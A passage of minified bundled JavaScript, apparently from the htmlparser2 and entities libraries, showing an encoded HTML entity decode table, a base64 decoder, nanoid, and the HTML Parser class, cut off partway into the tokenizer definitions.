gANjaGltcHF1AC8iPCJHIpwhTSJQIloigKGBImNlcgA2Iv0JOSJ1AOUABgoA4DXYw9zvIXJ0bQKdIQAAAABEImEAcgDhAOEhbQBloEEi8aBEIiYKYQDyAMsIcwB1AAABYnBWIlgi5QDUCeUA3wmAAWJjcABgInMieCKAoYQiRWVzAGci7glqIgDgxSo4A2UAdABl4IIi0iBxAPGgiCJoImMAZaCBIvEA/gmAoYUiRWVzAH8iFgqCIgDgxio4A2UAdABl4IMi0iBxAPGgiSKAIgACZ2lscpIilCKaIpwi7AAMCWwAZABlADuA8QDxQOcAWwlpI2FuZ2xlAAABbHKkIqoi5SFmdGWg6iLxAEUJaSJnaHQAZaDrIvEAvgltoL0DAKEjAGVzuCK8InIAbwAAoBYhcAAAoAcggARESGFkZ2lscnMAziLSItYi2iLeIugi7SICIw8j4SFzaACgrSLhIXJyAKAEKXAAAOBNItIg4SFzaACgrCIAAWV04iLlIgDgZSLSIADgPgDSIG4iZmluAACg3imAAUFldADzIvci+iJyAHIAAKACKQDgZCLSIHLgPADSIGkAZQAA4LQi0iAAAUF0BiMKI3IAcgAAoAMp8iFpZQDgtSLSIGkAbQAA4Dwi0iCAAUFhbgAaIx4jKiNyAHIAAKDWIXIAAAFociMjJiNrAACgIylvoJYh9wD/DuUhYXIAoCcpUxJqFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVCMAAF4jaSN/I4IjjSOeI8AUAAAAAKYjwCMAANoj3yMAAO8jHiQvJD8kRCQAAWNzVyNsFHUAdABlADuA8wDzQAABaXlhI2cjcgBjoJoiO4D0APRAPmSAAmFiaW9zAHEjdCN3I3EBeiNzAOgAdhTsIWFjUWF2AACgOCrvIWxkAKC8KewhaWdTYQABY3KFI4kjaQByAACgvykA4DXYLN1vA5QjAAAAAJYjAACcI24A22JhAHYAZQA7gPIA8kAAoMEpAAFibaEjjAphAHIAAKC1KQACYWNpdKwjryO6I70jcgDyAFkUAAFpcrMjtiNyAACgvinvIXNzAKC7KW4A5QDZCgCgwCmAAWFlaQDFI8gjyyNjAHIATWFnAGEAyWOAAWNkbgDRI9Qj1iPyIW9uv2MAoLYpdQDzAHgBcABmAADgNdhg3YABYWVsAOQj5yPrI3IAAKC3KXIAcAAAoLkpdQDzAHwBAKMoImFkaW9zdvkj/CMPJBMkFiQbJHIA8gBeFIChXSplZm0AAyQJJAwkcgBvoDQhZgAAoDQhO4CqAKpAO4C6ALpA5yFvZgCgtiJyAACgVipsIm9wZQAAoFcqAKBbKoABY2xvACMkJSQrJPIACCRhAHMAaAA7gPgA+EBsAACgmCJpAGwBMyQ4JGQAZQA7gPUA9UBlAHMAYaCXInMAAKA2Km0AbAA7gPYA9kDiIWFyAKA9I+EKXiQAAHokAAB8JJQkAACYJKkkAAAAALUkEQsAAPAkAAAAAAQleiUAAIMlcgCAoSUiYXN0AGUkbyQBCwCBtgA7bGokayS2QGwAZQDsABgDaQJ1JAAAAAB4JG0AAKDzKgCg/Sp5AD9kcgCAAmNpbXB0AIUkiCSLJJkSjyRuAHQAJWBvAGQALmBpAGwAAKAwIOUhbmsAoDEgcgAA4DXYLd2AAWltbwCdJKAkpCR2oMYD1WNtAGEA9AD+B24AZQAAoA4m9KHAA64kAAC0JGMjaGZvcmsAAKDUItZjAAFhdbgkxCRuAAABY2u9JMIkawBooA8hAKAOIfYAaRpzAACkKwBhYmNkZW1zdNMkIRPXJNsk4STjJOck6yTjIWlyAKAjKmkAcgAAoCIqAAFvdYsW3yQAoCUqAKByKm4AO4CxALFAaQBtAACgJip3AG8AAKAnKoABaXB1APUk+iT+JO4idGludACgFSpmAADgNdhh3W4AZAA7gKMAo0CApHoiRWFjZWlub3N1ABMlFSUYJRslTCVRJVklSSV1JQCgsypwAACgtyp1AOUAPwtjoK8qgKJ6ImFjZW5zACclLSU0JTYlSSVwAHAAcgBvAPgAFyV1AHIAbAB5AGUA8QA/C/EAOAuAAWFlcwA8JUElRSXwInByb3gAoLkqcQBxAACgtSppAG0AAKDoImkA7QBEC20AZQDzoDIgIguAAUVhcwBDJVclRSXwAEAlgAFkZnAATwtfJXElgAFhbHMAZSVpJW0l7CFhcgCgLiPpIW5lAKASI/UhcmYAoBMjdKAdIu8AWQvyIWVsAKCwIgABY2l9JYElcgAA4DXYxdzIY24iY3NwAACgCCAAA2Zpb3BzdZElKxuVJZolnyWkJXIAAOA12C7dcABmAADgNdhi3XIiaW1lAACgVyBjAHIAAOA12MbcgAFhZW8A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ZQBmAPQAWyxpAGcAaAD0AF0sdQDzAKYOaQAAocUDaGzBLMIs0mNvAG4AxWPwI2Fycm93cwCgyCGAAWNpdADRLOEs5CxvAtcsAAAAAN4scgBuAGWgHSNyAACgHSNvAHAAAKAOI24AZwBvYXIAaQAAoPklYwByAADgNdjK3IABZGlyAPMs9yz6LG8AdAAAoPAi7CFkZWlhaQBmoLUlAKC0JQABYW0DLQYtcgDyAMosbAA7gPwA/EDhIm5nbGUAoKcpgAdBQkRhY2RlZmxub3Byc3oAJy0qLTAtNC2bLZ0toS2/LcMtxy3TLdgt3C3gLfwtcgDyABADYQByAHag6CoAoOkqYQBzAOgA/gIAAW5yOC08LechcnQAoJwpgANla25wcnN0AJkpSC1NLVQtXi1iLYItYQBwAHAA4QAaHG8AdABoAGkAbgDnAKEXgAFoaXIAoSmzJFotbwBwAPQAdCVooJUh7wD4JgABaXVmLWotZwBtAOEAuygAAWJwbi14LXMjZXRuZXEAceCKIgD+AODLKgD+cyNldG5lcQBx4IsiAP4A4MwqAP4AAWhyhi2KLWUAdADhABIraSNhbmdsZQAAAWxyki2WLeUhZnQAoLIiaSJnaHQAAKCzInkAMmThIXNoAKCiIoABZWxyAKcttC24LWKiKCKuLQAAAACyLWEAcgAAoLsicQAAoFoi7CFpcACg7iIAAWJ0vC1eD2EA8gBfD3IAAOA12DPddAByAOkAlS1zAHUAAAFicM0t0C0A4IIi0iAA4IMi0iBwAGYAAOA12GfdcgBvAPAAWQt0AHIA6QCaLQABY3XkLegtcgAA4DXYy9wAAWJw7C30LW4AAAFFZXUt8S0A4IoiAP5uAAABRWV/LfktAOCLIgD+6SJnemFnAKCaKYADY2Vmb3BycwANLhAuJS4pLiMuLi40LukhcmN1YQABZGkULiEuAAFiZxguHC5hAHIAAKBfKmUAcaAnIgCgWSLlIXJwAKAYIXIAAOA12DTdcABmAADgNdho3WWgQCJhAHQA6ABqD2MAcgAA4DXYzNzjCuQRUC4AAFQuAABYLmIuAAAAAGMubS5wLnQuAAAAAIguki4AAJouJxIqEnQAcgDpAB0ScgAA4DXYNd0AAUFhWy5eLnIA8gDnAnIA8gCTB75jAAFBYWYuaS5yAPIA4AJyAPIAjAdhAPAAeh5pAHMAAKD7IoABZHB0APgReS6DLgABZmx9LoAuAOA12GnddQDzAP8RaQBtAOUABBIAAUFhiy6OLnIA8gDuAnIA8gCaBwABY3GVLgoScgAA4DXYzdwAAXB0nS6hLmwAdQDzACUScgDpACASAARhY2VmaW9zdbEuvC7ELsguzC7PLtQu2S5jAAABdXm2LrsudABlADuA/QD9QE9kAAFpecAuwy5yAGMAd2FLZG4AO4ClAKVAcgAA4DXYNt1jAHkAV2RwAGYAAOA12GrdYwByAADgNdjO3AABY23dLt8ueQBOZGwAO4D/AP9AAAVhY2RlZmhpb3N38y73Lv8uAi8MLxAvEy8YLx0vIi9jInV0ZQB6YQABYXn7Lv4u8iFvbn5hN2RvAHQAfGEAAWV0Bi8KL3QAcgDmAB8QYQC2Y3IAAOA12DfdYwB5ADZk5yJyYXJyAKDdIXAAZgAA4DXYa91jAHIAAOA12M/cAAFqbiYvKC8AoA0gagAAoAwg\")},1838(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.xmlDecodeTree=void 0;const n=r(275);e.xmlDecodeTree=(0,n.decodeBase64)(\"AAJhZ2xxBwARABMAFQBtAg0AAAAAAA8AcAAmYG8AcwAnYHQAPmB0ADxg9SFvdCJg\")},4865(t,e){\"use strict\";var r;Object.defineProperty(e,\"__esModule\",{value:!0}),e.BinTrieFlags=void 0,function(t){t[t.VALUE_LENGTH=49152]=\"VALUE_LENGTH\",t[t.FLAG13=8192]=\"FLAG13\",t[t.BRANCH_LENGTH=8064]=\"BRANCH_LENGTH\",t[t.JUMP_TABLE=127]=\"JUMP_TABLE\"}(r||(e.BinTrieFlags=r={}))},275(t,e){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.decodeBase64=function(t){const e=\"function\"==typeof atob?atob(t):\"function\"==typeof Buffer.from?Buffer.from(t,\"base64\").toString(\"binary\"):new Buffer(t,\"base64\").toString(\"binary\"),r=-2&e.length,n=new Uint16Array(r/2);for(let t=0,i=0;t<r;t+=2){const r=e.charCodeAt(t),o=e.charCodeAt(t+1);n[i++]=r|o<<8}return n}},5042(t){t.exports={nanoid:(t=21)=>{let e=\"\",r=0|t;for(;r--;)e+=\"useandom-26T198340PX75pxJACKVERYMINDBUSHWOLF_GQZbfghjklqvwyzrict\"[64*Math.random()|0];return e},customAlphabet:(t,e=21)=>(r=e)=>{let n=\"\",i=0|r;for(;i--;)n+=t[Math.random()*t.length|0];return n}}},292(t,e,r){\"use strict\";var n,i=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),o=this&&this.__setModuleDefault||(Object.create?function(t,e){Object.defineProperty(t,\"default\",{enumerable:!0,value:e})}:function(t,e){t.default=e}),s=this&&this.__importStar||(n=function(t){return n=Object.getOwnPropertyNames||function(t){var e=[];for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[e.length]=r);return e},n(t)},function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r=n(t),s=0;s<r.length;s++)\"default\"!==r[s]&&i(e,t,r[s]);return o(e,t),e});Object.defineProperty(e,\"__esModule\",{value:!0}),e.Parser=void 0;const a=s(r(1766)),l=r(9299),c=new Set([\"input\",\"option\",\"optgroup\",\"select\",\"button\",\"datalist\",\"textarea\"]),u=new Set([\"p\"]),d=new Set([\"thead\",\"tbody\"]),p=new Set([\"dd\",\"dt\"]),m=new Set([\"rt\",\"rp\"]),h=new Map([[\"tr\",new Set([\"tr\",\"th\",\"td\"])],[\"th\",new Set([\"th\"])],[\"td\",new Set([\"thead\",\"th\",\"td\"])],[\"body\",new Set([\"head\",\"link\",\"script\"])],[\"li\",new Set([\"li\"])],[\"p\",u],[\"h1\",u],[\"h2\",u],[\"h3\",u],[\"h4\",u],[\"h5\",u],[\"h6\",u],[\"select\",c],[\"input\",c],[\"output\",c],[\"button\",c],[\"datalist\",c],[\"textarea\",c],[\"option\",new Set([\"option\"])],[\"optgroup\",new Set([\"optgroup\",\"option\"])],[\"dd\",p],[\"dt\",p],[\"address\",u],[\"article\",u],[\"aside\",u],[\"blockquote\",u],[\"details\",u],[\"div\",u],[\"dl\",u],[\"fieldset\",u],[\"figcaption\",u],[\"figure\",u],[\"footer\",u],[\"form\",u],[\"header\",u],[\"hr\",u],[\"main\",u],[\"nav\",u],[\"ol\",u],[\"pre\",u],[\"section\",u],[\"table\",u],[\"ul\",u],[\"rt\",m],[\"rp\",m],[\"tbody\",d],[\"tfoot\",d]]),g=new Set([\"area\",\"base\",\"basefont\",\"br\",\"col\",\"command\",\"embed\",\"frame\",\"hr\",\"img\",\"input\",\"isindex\",\"keygen\",\"link\",\"meta\",\"param\",\"source\",\"track\",\"wbr\"]),f=new Set([\"math\",\"svg\"]),b=new Set([\"mi\",\"mo\",\"mn\",\"ms\",\"mtext\",\"annotation-xml\",\"foreignobject\",\"desc\",\"title\"]),A=/\\s|\\//;e.Parser=class{constructor(t,e={}){var r,n,i,o,s,l;this.options=e,this.startIndex=0,this.endIndex=0,this.openTagStart=0,this.tagname=\"\",this.attribname=\"\",this.attribvalue=\"\",this.attribs=null,this.stack=[],this.buffers=[],this.bufferOffset=0,this.writeIndex=0,this.ended=!1,this.cbs=null!=t?t:{},this.htmlMode=!this.options.xmlMode,this.lowerCaseTagNames=null!==(r=e.lowerCaseTags)&&void 0!==r?r:this.htmlMode,this.lowerCaseAttributeNames=null!==(n=e.lowerCaseAttributeNames)&&void 0!==n?n:this.htmlMode,this.recognizeSelfClosing=null!==(i=e.recognizeSelfClosing)&&void 0!==i?i:!this.htmlMode,this.tokenizer=new(null!==(o=e.Tokenizer)&&void 0!==o?o:a.default)(this.options,this),this.foreignContext=[!this.htmlMode],null===(l=(s=this.cbs).onparserinit)||void 0===l||l.call(s,this)}ontext(t,e){var r,n;const i=this.getSlice(t,e);this.endIndex=e-1,null===(n=(r=this.cbs).ontext)||void 0===n||n.call(r,i),this.startIndex=e}ontextentity(t,e){var r,n;this.endIndex=e-1,null===(n=(r=this.cbs).ontext)||void 0===n||n.call(r,(0,l.fromCodePoint)(t)),this.startIndex=e}isVoidElement(t){return this.htmlMode&&g.has(t)}onopentagname(t,e){this.endIndex=e;let r=this.getSlice(t,e);this.lowerCaseTagNames&&(r=r.toLowerCase()),this.emitOpenTag(r)}emitOpenTag(t){var e,r,n,i;this.openTagStart=this.startIndex,this.tagname=t;const o=this.htmlMode&&h.get(t);if(o)for(;this.stack.length>0&&o.has(this.stack[0]);){const t=this.stack.shift();null===(r=(e=this.cbs).onclosetag)||void 0===r||r.call(e,t,!0)}this.isVoidElement(t)||(this.stack.unshift(t),this.htmlMode&&(f.has(t)?this.foreignContext.unshift(!0):b.has(t)&&this.foreignContext.unshift(!1))),null===(i=(n=this.cbs).onopentagname)||void 0===i||i.call(n,t),this.cbs.onopentag&&(this.attribs={})}endOpenTag(t){var e,r;this.startIndex=this.openTagStart,this.attribs&&(null===(r=(e=this.cbs).onopentag)||void 0===r||r.call(e,this.tagname,this.attribs,t),this.attribs=null),this.cbs.onclosetag&&this.isVoidElement(this.tagname)&&this.cbs.onclosetag(this.tagname,!0),this.tagname=\"\"}onopentagend(t){this.endIndex=t,this.endOpenTag(!1),this.startIndex=t+1}onclosetag(t,e){var r,n,i,o,s,a,l,c;this.endIndex=e;let u=this.getSlice(t,e);if(this.lowerCaseTagNames&&(u=u.toLowerCase()),this.htmlMode&&(f.has(u)||b.has(u))&&this.foreignContext.shift(),this.isVoidElement(u))this.htmlMode&&\"br\"===u&&(null===(o=(i=this.cbs).onopentagname)||void 0===o||o.call(i,\"br\"),null===(a=(s=this.cbs).onopentag)||void 0===a||a.call(s,\"br\",{},!0),null===(c=(l=this.cbs).onclosetag)||void 0===c||c.call(l,\"br\",!1));else{const t=this.stack.indexOf(u);if(-1!==t)for(let e=0;e<=t;e++){const i=this.stack.shift();null===(n=(r=this.cbs).onclosetag)||void 0===n||n.call(r,i,e!==t)}else this.htmlMode&&\"p\"===u&&(this.emitOpenTag(\"p\"),this.closeCurrentTag(!0))}this.startIndex=e+1}onselfclosingtag(t){this.endIndex=t,this.recognizeSelfClosing||this.foreignContext[0]?(this.closeCurrentTag(!1),this.startIndex=t+1):this.onopentagend(t)}closeCurrentTag(t){var e,r;const n=this.tagname;this.endOpenTag(t),this.stack[0]===n&&(null===(r=(e=this.cbs).onclosetag)||void 0===r||r.call(e,n,!t),this.stack.shift())}onattribname(t,e){this.startIndex=t;const r=this.getSlice(t,e);this.attribname=this.lowerCaseAttributeNames?r.toLowerCase():r}onattribdata(t,e){this.attribvalue+=this.getSlice(t,e)}onattribentity(t){this.attribvalue+=(0,l.fromCodePoint)(t)}onattribend(t,e){var r,n;this.endIndex=e,null===(n=(r=this.cbs).onattribute)||void 0===n||n.call(r,this.attribname,this.attribvalue,t===a.QuoteType.Double?'\"':t===a.QuoteType.Single?\"'\":t===a.QuoteType.NoValue?void 0:null),this.attribs&&!Object.prototype.hasOwnProperty.call(this.attribs,this.attribname)&&(this.attribs[this.attribname]=this.attribvalue),this.attribvalue=\"\"}getInstructionName(t){const e=t.search(A);let r=e<0?t:t.substr(0,e);return this.lowerCaseTagNames&&(r=r.toLowerCase()),r}ondeclaration(t,e){this.endIndex=e;const r=this.getSlice(t,e);if(this.cbs.onprocessinginstruction){const t=this.getInstructionName(r);this.cbs.onprocessinginstruction(`!${t}`,`!${r}`)}this.startIndex=e+1}onprocessinginstruction(t,e){this.endIndex=e;const r=this.getSlice(t,e);if(this.cbs.onprocessinginstruction){const t=this.getInstructionName(r);this.cbs.onprocessinginstruction(`?${t}`,`?${r}`)}this.startIndex=e+1}oncomment(t,e,r){var n,i,o,s;this.endIndex=e,null===(i=(n=this.cbs).oncomment)||void 0===i||i.call(n,this.getSlice(t,e-r)),null===(s=(o=this.cbs).oncommentend)||void 0===s||s.call(o),this.startIndex=e+1}oncdata(t,e,r){var n,i,o,s,a,l,c,u,d,p;this.endIndex=e;const m=this.getSlice(t,e-r);!this.htmlMode||this.options.recognizeCDATA?(null===(i=(n=this.cbs).oncdatastart)||void 0===i||i.call(n),null===(s=(o=this.cbs).ontext)||void 0===s||s.call(o,m),null===(l=(a=this.cbs).oncdataend)||void 0===l||l.call(a)):(null===(u=(c=this.cbs).oncomment)||void 0===u||u.call(c,`[CDATA[${m}]]`),null===(p=(d=this.cbs).oncommentend)||void 0===p||p.call(d)),this.startIndex=e+1}onend(){var t,e;if(this.cbs.onclosetag){this.endIndex=this.startIndex;for(let t=0;t<this.stack.length;t++)this.cbs.onclosetag(this.stack[t],!0)}null===(e=(t=this.cbs).onend)||void 0===e||e.call(t)}reset(){var t,e,r,n;null===(e=(t=this.cbs).onreset)||void 0===e||e.call(t),this.tokenizer.reset(),this.tagname=\"\",this.attribname=\"\",this.attribs=null,this.stack.length=0,this.startIndex=0,this.endIndex=0,null===(n=(r=this.cbs).onparserinit)||void 0===n||n.call(r,this),this.buffers.length=0,this.foreignContext.length=0,this.foreignContext.unshift(!this.htmlMode),this.bufferOffset=0,this.writeIndex=0,this.ended=!1}parseComplete(t){this.reset(),this.end(t)}getSlice(t,e){for(;t-this.bufferOffset>=this.buffers[0].length;)this.shiftBuffer();let r=this.buffers[0].slice(t-this.bufferOffset,e-this.bufferOffset);for(;e-this.bufferOffset>this.buffers[0].length;)this.shiftBuffer(),r+=this.buffers[0].slice(0,e-this.bufferOffset);return r}shiftBuffer(){this.bufferOffset+=this.buffers[0].length,this.writeIndex--,this.buffers.shift()}write(t){var e,r;this.ended?null===(r=(e=this.cbs).onerror)||void 0===r||r.call(e,new Error(\".write() after done!\")):(this.buffers.push(t),this.tokenizer.running&&(this.tokenizer.write(t),this.writeIndex++))}end(t){var e,r;this.ended?null===(r=(e=this.cbs).onerror)||void 0===r||r.call(e,new Error(\".end() after done!\")):(t&&this.write(t),this.ended=!0,this.tokenizer.end())}pause(){this.tokenizer.pause()}resume(){for(this.tokenizer.resume();this.tokenizer.running&&this.writeIndex<this.buffers.length;)this.tokenizer.write(this.buffers[this.writeIndex++]);this.ended&&this.tokenizer.end()}parseChunk(t){this.write(t)}done(t){this.end(t)}}},1766(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.QuoteType=void 0;const n=r(9299);var i,o,s;function a(t){return t===i.Space||t===i.NewLine||t===i.Tab||t===i.FormFeed||t===i.CarriageReturn}function l(t){return t===i.Slash||t===i.Gt||a(t)}!function(t){t[t.Tab=9]=\"Tab\",t[t.NewLine=10]=\"NewLine\",t[t.FormFeed=12]=\"FormFeed\",t[t.CarriageReturn=13]=\"CarriageReturn\",t[t.Space=32]=\"Space\",t[t.ExclamationMark=33]=\"ExclamationMark\",t[t.Number=35]=\"Number\",t[t.Amp=38]=\"Amp\",t[t.SingleQuote=39]=\"SingleQuote\",t[t.DoubleQuote=34]=\"DoubleQuote\",t[t.Dash=45]=\"Dash\",t[t.Slash=47]=\"Slash\",t[t.Zero=48]=\"Zero\",t[t.Nine=57]=\"Nine\",t[t.Semi=59]=\"Semi\",t[t.Lt=60]=\"Lt\",t[t.Eq=61]=\"Eq\",t[t.Gt=62]=\"Gt\",t[t.Questionmark=63]=\"Questionmark\",t[t.UpperA=65]=\"UpperA\",t[t.LowerA=97]=\"LowerA\",t[t.UpperF=70]=\"UpperF\",t[t.LowerF=102]=\"LowerF\",t[t.UpperZ=90]=\"UpperZ\",t[t.LowerZ=122]=\"LowerZ\",t[t.LowerX=120]=\"LowerX\",t[t.OpeningSquareBracket=91]=\"OpeningSquareBracket\"}(i||(i={})),function(t){t[t.Text=1]=\"Text\",t[t.BeforeTagName=2]=\"BeforeTagName\",t[t.InTagName=3]=\"InTagName\",t[t.InSelfClosingTag=4]=\"InSelfClosingTag\",t[t.BeforeClosingTagName=5]=\"BeforeClosingTagName\",t[t.InClosingTagName=6]=\"InClosingTagN